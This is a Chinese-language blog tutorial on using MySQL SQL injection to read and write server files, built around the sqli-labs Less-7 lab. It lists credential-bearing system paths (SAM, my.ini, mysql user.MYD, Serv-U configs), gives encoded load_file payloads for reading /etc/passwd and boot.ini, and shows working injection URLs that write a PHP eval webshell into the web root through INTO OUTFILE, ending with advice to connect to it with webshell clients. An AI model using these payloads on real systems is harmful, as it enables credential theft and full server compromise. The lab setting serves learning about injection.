sql注入中的文件导入导出问题

导入和导出

load_file()导出文件

load_file(file_name): 读取文件并返回该文件的内容作为一个字符串

使用条件:
  • 必须有权限并且文件必须完全可读

    and (select count(*) from mysql.user)>0/\*如果返回正常,说明有读写权限

    and (select count(*) from mysql.user)>0/\* 如果返回错误,管理员给数据库账户降权了

  • 要读取的文件必须在服务器上

  • 必须指定文件的完整路径

  • 要读取的文件必须小于max_allowed_packet

    如果文件不存在,或因为上面的任一原因而不能读出,函数返回空… 比较难满足的就是权限,在windows下,ntfs设置得当,是不能读取相关的文件的,只当遇到只有administrators才能访问的文件,users是load_file不出来的.

实际注入中:

​ 绝对物理路径

​ 构造有效的畸形语句(报错爆出绝对路径)

在很多php程序中,当提交一个错误的Query,如果display_errors=on 程序就会暴露web目录的绝对路径,只要知道路径就好

常用路径:


WINDOWS下:

c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

示例:

select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))))

利用hex()将文件内容导出来,尤其是smb文件时

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

其中的char()就是"c:/boot.ini"的ascii码

-1 union select 1,1,1,loadfile(0x633a2f626f6f742e696e6

Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e6

-1 union select 1,1,1,load_file(c:\\boot.in

Explain:路径里的/用 \\ 代替

文件导入到数据库

load data infile 语句用于高速地从一个文本文件中读取行, 并装入一个表中. 文件名称必须为一个文字字符串.

在注入的过程中, 我们需要一些特殊的文件, 比如配置文件, 密码文件. 需要数据库权限的时候, 可以将系统文件利用load data infile 导入到数据库中.

示例:

load data  infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/t0.txt导入到t0表中, character set gbk 是字符集设置为gbk , fields terminated by 是每一项数据之间的分隔符, lines terminated by 是行的结尾符.

当错误代码为2的时候,文件不存在, 错误代码为13的时候是没有权限的, 可以考虑/tmp等文件夹(load xml 是否可以用来做注入还需要验证)

导入到文件

select ... into outfile 'file_name'

可以把被选择的行写入到一个文件中, 该文件被创建到服务器主机上, 因此必须拥有权限才能完成词语发. file_name 不能是一个已经存在的文件.

一般有两种利用形式

  1. 直接将select 内容导入到文件中

    select version() into outfile “/var/www/html/test.php”

    可以将verison()换成想要的一句话木马<?php @eval($_post['cmd'])?>除了一句话木马还有很多东西

  2. 修改文件结尾:

    select version() into outfile "/var/wwww/html/test.php" LINES TERMINATED BY 0x16进制文件

    通常是用’\r\n’结尾, 此处我们修改为自己想要的任何文件. 同时利用FIELDSTERMINATED BY 16进制可以为一句话或者任何其他代码, sqlmap 采取的就是这样的方式, 参考文章

    http://www.cnblogs.com/lcamry/p/5505110.html

os-shell 限制条件: 1. 网站必须是root权限 2. 攻击者知道网站的绝对路径 3. GPC为off ,PHP主动转义功能关闭

注意点
  1. 可能在文件路径当中要注意转义, 要看具体的环境

  2. load_file()当前台无法导出数据的时候, 我们可以利用下面的语句

    select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini') into outfile 'c:\\wamp\\www\\test.php'

    可以利用该语句将服务器当中的内容导入到web服务器下的目录, 这样就可以得到数据. 上述my.ini当中存在password项(默认被注释), 当然会有很多内容可以被导出来

Less-7

利用文件导入的方式进行注入, 查看源码判断注入点.


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; // '))闭合
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

<http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,3%20into%20outfile%20%22/var/www/html/test.txt%22%20%23>

通过这个进行写入, 在进行操作的时候要确认好, 该目录下是否有写入权限, 一般情况下/tmp是可以写入的, 权限比较大, 为了本地可以演示成功, 这里直接赋予相应目录下全部权限

root@0f6ef9cf6a68:/var/www# ls -al
total 20
drwxr-xr-x 1 root root 4096 Dec 16  2015 .
drwxr-xr-x 1 root root 4096 Dec 16  2015 ..
drwxrwxrwx 1 root root 4096 Jan 23 13:00 html // chmod 777 html

http://127.0.0.1/test.txt //目录访问成功

1	Dumb	Dumb
1	2	3

接下来直接导入一句话木马

http://127.0.0.1/Less-7/index.php?id=1%27))%20union%20select%201,2,%27%3C?php%20@eval($_POST[%22cmd%22])?%3E%27%20into%20outfile%20%22/var/www/html/test.php%22%20%23

这里的一句话要用’'里面, ""似乎不行,不知道为什么

写入成功

root@0f6ef9cf6a68:/var/www/html# more test.php 
1	Dumb	Dumb
1	2	<?php @eval($_POST["cmd"])?>

页面访问

<http://127.0.0.1/test.php>

1 Dumb Dumb 1 2

访问成功.

接下来用shell链接工具链接就好了cknife 菜刀 甚至自己写python脚本都可以

简书
个人博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值